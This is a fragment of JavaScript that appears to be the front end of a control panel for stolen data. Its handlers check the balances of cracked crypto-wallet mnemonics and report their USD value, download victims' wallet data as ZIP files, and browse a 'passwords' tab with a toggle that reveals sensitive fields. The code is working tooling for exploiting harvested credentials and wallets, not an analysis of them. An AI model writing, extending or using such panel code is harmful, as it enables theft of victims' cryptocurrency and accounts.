const balBtn = e.target.closest(".wl-check-bal-btn");
if (balBtn) {
const walletName = balBtn.dataset.wallet;
const crackResult = walletCrackResults[walletName];
if (!crackResult?.mnemonic) return;
balBtn.disabled = true;
balBtn.textContent = "Checking…";
try {
const result = await rpc("check_cracked_balances", { mnemonic: crackResult.mnemonic });
walletCrackResults[walletName] = { ...crackResult, balances: result.totals, usdTotal: result.usdTotal };
if (result.usdTotal > 0) log(`${walletName}: $${result.usdTotal.toFixed(2)} total value`);
else log(`${walletName}: no balances found`);
await loadWalletCards();
} catch (err) {
log(`Balance check error: ${err.message}`);
balBtn.disabled = false;
balBtn.textContent = "Check Balances";
}
return;
}
const dlBtn = e.target.closest(".wl-dl-btn");
if (dlBtn) {
const id = dlBtn.dataset.id;
const name = dlBtn.dataset.name;
dlBtn.disabled = true;
dlBtn.textContent = "…";
try {
const result = await rpc("download_wallet_data", { id: Number(id) });
downloadBase64(result.content, `${result.name || name}.zip`, "application/zip");
log(`Downloaded wallet: ${name}`);
} catch (err) {
log(`Download error: ${err.message}`);
} finally {
dlBtn.disabled = false;
dlBtn.textContent = "Download ZIP";
}
}
});
}
// ── Shared listeners ──────────────────────────────────────────
searchEl.addEventListener("input", () => {
const q = searchEl.value.trim();
if (isGlobal) {
clearTimeout(searchTimer);
searchTimer = setTimeout(() => {
if (q) {
activeTab = "__search__";
buildTabs(); buildBfilts();
loadSearchAll();
} else {
searchAllResults = null;
if (activeTab === "__search__") activeTab = "passwords";
buildTabs(); buildBfilts();
loadGlobalTab();
}
}, 300);
} else {
if (q) {
activeTab = "__search__";
loadSearchAllLocal();
} else {
searchAllResults = null;
if (activeTab === "__search__") activeTab = "passwords";
buildTabs();
}
renderTable();
}
});
revealToggle.addEventListener("change", () => {
showSensitive = revealToggle.checked;
renderTable();
});
// ── Init ──────────────────────────────────────────────────────
if (isGlobal) initGlobalMode();
else initClientMode();
})();